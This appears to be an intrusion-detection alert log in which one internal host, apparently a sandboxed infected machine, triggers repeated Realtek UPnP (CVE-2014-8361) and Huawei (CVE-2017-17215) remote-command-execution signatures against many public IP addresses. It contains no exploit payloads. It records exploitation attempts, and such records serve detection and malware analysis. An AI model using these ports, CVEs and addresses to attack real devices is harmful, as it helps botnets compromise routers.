07/20/24-23:01:42.634606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60262	52869	192.168.2.23	87.53.250.191
07/20/24-23:01:41.148932	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54090	52869	192.168.2.23	123.91.96.233
07/20/24-23:01:59.738271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34290	52869	192.168.2.23	52.14.151.104
07/20/24-23:01:08.646615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51990	52869	192.168.2.23	107.208.110.238
07/20/24-23:01:31.322217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50420	52869	192.168.2.23	125.53.48.130
07/20/24-23:01:53.066716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43292	52869	192.168.2.23	53.50.156.29
07/20/24-23:01:58.202290	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33930	52869	192.168.2.23	54.42.165.29
07/20/24-23:01:43.489480	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45674	52869	192.168.2.23	106.236.204.67
07/20/24-23:01:42.322405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35100	52869	192.168.2.23	203.80.83.187
07/20/24-23:01:44.700808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55012	52869	192.168.2.23	180.13.32.83
07/20/24-23:01:14.164018	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34592	52869	192.168.2.23	73.36.171.85
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47744	37215	192.168.2.23	169.189.57.200
07/20/24-23:01:40.322860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42490	37215	192.168.2.23	41.254.32.226
07/20/24-23:01:01.150119	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42464	52869	192.168.2.23	157.202.7.129
07/20/24-23:01:47.147727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38340	52869	192.168.2.23	63.211.43.107
07/20/24-23:01:58.995803	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54222	52869	192.168.2.23	129.78.244.230
07/20/24-23:01:20.591832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45912	52869	192.168.2.23	27.150.162.76
07/20/24-23:01:44.510114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43984	52869	192.168.2.23	113.178.52.80
07/20/24-23:01:04.747554	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57824	52869	192.168.2.23	43.227.14.32
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57220	37215	192.168.2.23	197.3.21.51
07/20/24-23:01:25.845560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43370	52869	192.168.2.23	112.202.108.197
07/20/24-23:01:46.450129	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48682	52869	192.168.2.23	38.183.196.72
07/20/24-23:01:08.581974	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59630	52869	192.168.2.23	135.9.168.169
07/20/24-23:01:08.652877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34774	52869	192.168.2.23	86.219.42.227
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36096	37215	192.168.2.23	17.145.238.56
07/20/24-23:00:59.161892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52752	37215	192.168.2.23	157.176.101.215
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37164	37215	192.168.2.23	121.14.221.201
07/20/24-23:00:57.222091	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55906	37215	192.168.2.23	197.159.88.79
07/20/24-23:01:48.986585	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52706	52869	192.168.2.23	105.66.231.198
07/20/24-23:01:08.611774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59634	52869	192.168.2.23	151.194.118.37
07/20/24-23:01:43.001716	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36388	52869	192.168.2.23	161.217.163.253
07/20/24-23:01:07.005156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60556	37215	192.168.2.23	197.121.20.109
07/20/24-23:01:59.660917	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38730	52869	192.168.2.23	209.27.18.74
07/20/24-23:01:41.722161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43486	52869	192.168.2.23	91.196.45.114
07/20/24-23:01:00.638305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48956	37215	192.168.2.23	41.95.27.201
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36670	37215	192.168.2.23	209.48.250.210
07/20/24-23:01:50.255748	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60794	52869	192.168.2.23	79.217.40.139
07/20/24-23:01:46.261026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51210	52869	192.168.2.23	136.148.234.160
07/20/24-23:01:53.631467	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50728	52869	192.168.2.23	223.155.76.150
07/20/24-23:02:12.082957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33200	52869	192.168.2.23	67.40.156.6
07/20/24-23:01:41.286911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45074	52869	192.168.2.23	34.33.43.162
07/20/24-23:02:00.055900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38080	52869	192.168.2.23	18.137.178.82
07/20/24-23:01:02.130152	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59250	52869	192.168.2.23	115.35.215.139
07/20/24-23:01:41.258056	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44682	52869	192.168.2.23	152.44.195.237
07/20/24-23:02:01.256493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52512	52869	192.168.2.23	133.248.174.120
07/20/24-23:01:31.982801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37172	37215	192.168.2.23	115.205.119.137
07/20/24-23:01:44.546338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52250	52869	192.168.2.23	85.144.205.165
07/20/24-23:01:45.625081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59666	52869	192.168.2.23	73.50.29.53
07/20/24-23:01:45.179680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59814	52869	192.168.2.23	133.159.36.252
07/20/24-23:02:11.592030	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53838	52869	192.168.2.23	116.124.94.169
07/20/24-23:01:41.750477	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47958	52869	192.168.2.23	197.168.237.206
07/20/24-23:01:43.918137	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35520	52869	192.168.2.23	207.100.140.133
07/20/24-23:01:45.109699	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52936	52869	192.168.2.23	24.151.6.155
07/20/24-23:01:25.600782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56522	52869	192.168.2.23	157.108.156.75
07/20/24-23:01:47.906061	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33136	52869	192.168.2.23	98.169.154.123
07/20/24-23:01:31.335096	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52352	52869	192.168.2.23	143.38.216.11
07/20/24-23:02:08.246801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37326	52869	192.168.2.23	117.32.81.72
07/20/24-23:01:31.318206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57560	52869	192.168.2.23	119.38.147.179
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58132	37215	192.168.2.23	197.60.100.137
07/20/24-23:00:57.221803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50602	37215	192.168.2.23	157.15.115.232
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54746	37215	192.168.2.23	59.29.162.151
07/20/24-23:01:20.157620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48022	37215	192.168.2.23	174.188.105.70
07/20/24-23:01:04.098080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42932	37215	192.168.2.23	197.59.135.254
07/20/24-23:02:02.509837	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54854	52869	192.168.2.23	41.136.217.138
07/20/24-23:01:11.632393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38378	37215	192.168.2.23	197.21.89.53
07/20/24-23:01:49.272788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37376	52869	192.168.2.23	40.122.120.5
07/20/24-23:01:55.546480	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56136	52869	192.168.2.23	89.142.100.244
07/20/24-23:01:02.280127	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36392	52869	192.168.2.23	161.20.12.87
07/20/24-23:01:11.816074	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39208	37215	192.168.2.23	147.129.214.239
07/20/24-23:01:20.591397	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44614	52869	192.168.2.23	217.255.100.151
07/20/24-23:01:07.061779	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37316	37215	192.168.2.23	157.233.118.145
07/20/24-23:01:44.408559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43712	52869	192.168.2.23	209.24.146.250
07/20/24-23:01:53.041672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46152	52869	192.168.2.23	164.75.171.71
07/20/24-23:01:42.703494	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60618	52869	192.168.2.23	67.41.35.87
07/20/24-23:01:57.297792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50068	52869	192.168.2.23	41.175.245.11
07/20/24-23:01:40.296076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46558	37215	192.168.2.23	157.116.51.144
07/20/24-23:01:42.101588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35156	52869	192.168.2.23	158.36.226.221
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56196	37215	192.168.2.23	197.78.152.186
07/20/24-23:01:42.093693	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56640	52869	192.168.2.23	176.127.40.36
07/20/24-23:01:43.476083	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40904	52869	192.168.2.23	184.170.174.78
07/20/24-23:01:48.701127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53308	52869	192.168.2.23	170.121.46.240
07/20/24-23:00:59.211046	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38176	37215	192.168.2.23	41.20.53.198
07/20/24-23:00:57.222008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35550	37215	192.168.2.23	168.165.233.141
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46646	37215	192.168.2.23	13.232.148.145
07/20/24-23:01:42.800757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41210	52869	192.168.2.23	148.205.165.15
07/20/24-23:01:21.923917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32936	37215	192.168.2.23	115.85.103.199
07/20/24-23:01:43.085956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55404	52869	192.168.2.23	194.44.142.130
07/20/24-23:01:45.034156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33716	52869	192.168.2.23	107.163.195.19
07/20/24-23:01:26.031343	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53470	52869	192.168.2.23	118.217.116.132
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42646	37215	192.168.2.23	197.182.219.57
07/20/24-23:01:44.826234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42172	52869	192.168.2.23	5.118.234.148
07/20/24-23:01:42.984532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44358	52869	192.168.2.23	42.66.196.35
07/20/24-23:01:06.994337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37978	37215	192.168.2.23	70.132.198.251
07/20/24-23:01:44.469580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43018	52869	192.168.2.23	137.85.104.5
07/20/24-23:01:45.188773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60842	52869	192.168.2.23	142.215.251.21
07/20/24-23:01:26.100052	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47786	52869	192.168.2.23	120.48.178.89
07/20/24-23:01:52.388927	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36042	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:47.709674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47420	52869	192.168.2.23	57.16.142.227
07/20/24-23:01:31.991548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44750	37215	192.168.2.23	88.106.127.51
07/20/24-23:01:41.397238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34138	52869	192.168.2.23	48.145.35.196
07/20/24-23:02:09.627181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49196	52869	192.168.2.23	164.143.82.53
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40604	37215	192.168.2.23	197.244.103.67
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59350	37215	192.168.2.23	109.129.243.233
07/20/24-23:01:42.115230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55048	52869	192.168.2.23	221.103.3.16
07/20/24-23:01:08.667513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55916	52869	192.168.2.23	132.102.141.171
07/20/24-23:01:57.321431	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41312	52869	192.168.2.23	166.233.183.8
07/20/24-23:01:55.666677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47078	52869	192.168.2.23	210.201.187.18
07/20/24-23:03:46.099099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42158	52869	192.168.2.23	39.42.185.132
07/20/24-23:00:59.192052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43088	37215	192.168.2.23	198.69.140.160
07/20/24-23:01:00.648489	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54854	37215	192.168.2.23	157.21.145.183
07/20/24-23:01:53.234960	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36880	52869	192.168.2.23	217.154.142.187
07/20/24-23:01:46.810790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43706	52869	192.168.2.23	154.173.158.60
07/20/24-23:01:53.015544	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37228	52869	192.168.2.23	121.131.41.98
07/20/24-23:01:50.176893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50676	52869	192.168.2.23	80.92.70.69
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53600	37215	192.168.2.23	41.131.89.154
07/20/24-23:01:42.189694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58170	52869	192.168.2.23	50.61.91.2
07/20/24-23:02:05.590034	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41408	52869	192.168.2.23	140.127.134.199
07/20/24-23:01:46.212590	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37236	52869	192.168.2.23	103.195.20.112
07/20/24-23:01:41.604763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58346	52869	192.168.2.23	122.124.32.89
07/20/24-23:01:31.979565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35010	37215	192.168.2.23	41.115.9.128
07/20/24-23:01:43.841155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49646	52869	192.168.2.23	130.167.196.86
07/20/24-23:01:58.585039	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46868	52869	192.168.2.23	84.161.189.113
07/20/24-23:01:07.082771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42202	37215	192.168.2.23	197.43.231.118
07/20/24-23:01:42.696197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44628	52869	192.168.2.23	24.42.93.65
07/20/24-23:01:44.674251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53446	52869	192.168.2.23	67.74.166.37
07/20/24-23:01:31.333070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37974	52869	192.168.2.23	152.161.99.53
07/20/24-23:01:11.816521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42760	37215	192.168.2.23	197.136.152.193
07/20/24-23:01:02.113054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42612	37215	192.168.2.23	178.236.15.67
07/20/24-23:01:20.150638	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60702	37215	192.168.2.23	157.154.200.5
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58234	37215	192.168.2.23	203.82.68.43
07/20/24-23:01:44.745095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49278	52869	192.168.2.23	118.32.91.217
07/20/24-23:01:08.578727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60194	52869	192.168.2.23	169.193.81.146
07/20/24-23:01:59.377547	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49430	52869	192.168.2.23	208.150.189.204
07/20/24-23:01:34.044152	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40310	37215	192.168.2.23	54.105.148.229
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42846	37215	192.168.2.23	117.32.136.151
07/20/24-23:01:45.287821	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59420	52869	192.168.2.23	83.205.44.142
07/20/24-23:01:43.918789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57088	52869	192.168.2.23	129.76.21.211
07/20/24-23:01:31.312411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43376	52869	192.168.2.23	89.183.176.41
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41030	37215	192.168.2.23	197.144.161.152
07/20/24-23:01:07.026812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48082	37215	192.168.2.23	134.252.78.39
07/20/24-23:01:20.592479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36596	52869	192.168.2.23	32.75.241.221
07/20/24-23:01:45.098864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51472	52869	192.168.2.23	159.130.44.143
07/20/24-23:01:07.114267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38558	37215	192.168.2.23	157.73.211.6
07/20/24-23:01:42.608320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49086	52869	192.168.2.23	37.169.126.92
07/20/24-23:01:20.096752	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38924	37215	192.168.2.23	157.30.155.108
07/20/24-23:01:42.960666	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43428	52869	192.168.2.23	84.203.232.104
07/20/24-23:01:01.198681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51954	52869	192.168.2.23	100.7.167.160
07/20/24-23:01:51.405782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54972	52869	192.168.2.23	13.25.11.108
07/20/24-23:01:56.950526	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39512	52869	192.168.2.23	2.74.163.138
07/20/24-23:01:31.328066	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46390	52869	192.168.2.23	93.61.135.109
07/20/24-23:00:57.220983	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55530	37215	192.168.2.23	157.37.107.134
07/20/24-23:01:43.206220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46404	52869	192.168.2.23	208.81.102.220
07/20/24-23:01:44.052569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34074	52869	192.168.2.23	31.0.108.140
07/20/24-23:01:52.165240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33120	52869	192.168.2.23	115.121.114.198
07/20/24-23:01:03.159715	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49550	52869	192.168.2.23	78.39.181.117
07/20/24-23:01:45.159648	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53638	52869	192.168.2.23	147.169.170.137
07/20/24-23:01:43.993916	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44844	52869	192.168.2.23	47.141.1.52
07/20/24-23:01:44.811941	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52716	52869	192.168.2.23	24.151.6.155
07/20/24-23:01:59.092655	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53282	52869	192.168.2.23	74.245.76.95
07/20/24-23:01:03.199235	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49528	52869	192.168.2.23	46.176.142.26
07/20/24-23:01:04.430069	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59360	52869	192.168.2.23	117.76.49.30
07/20/24-23:01:44.837054	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56282	52869	192.168.2.23	155.161.7.211
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52146	37215	192.168.2.23	51.142.141.117
07/20/24-23:01:48.155981	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52440	52869	192.168.2.23	155.185.16.155
07/20/24-23:01:31.312209	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57414	52869	192.168.2.23	76.83.139.165
07/20/24-23:01:42.233741	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48552	52869	192.168.2.23	91.23.23.187
07/20/24-23:01:42.090121	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45414	52869	192.168.2.23	183.154.28.107
07/20/24-23:01:55.741840	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50022	52869	192.168.2.23	8.205.247.218
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44268	37215	192.168.2.23	197.187.1.61
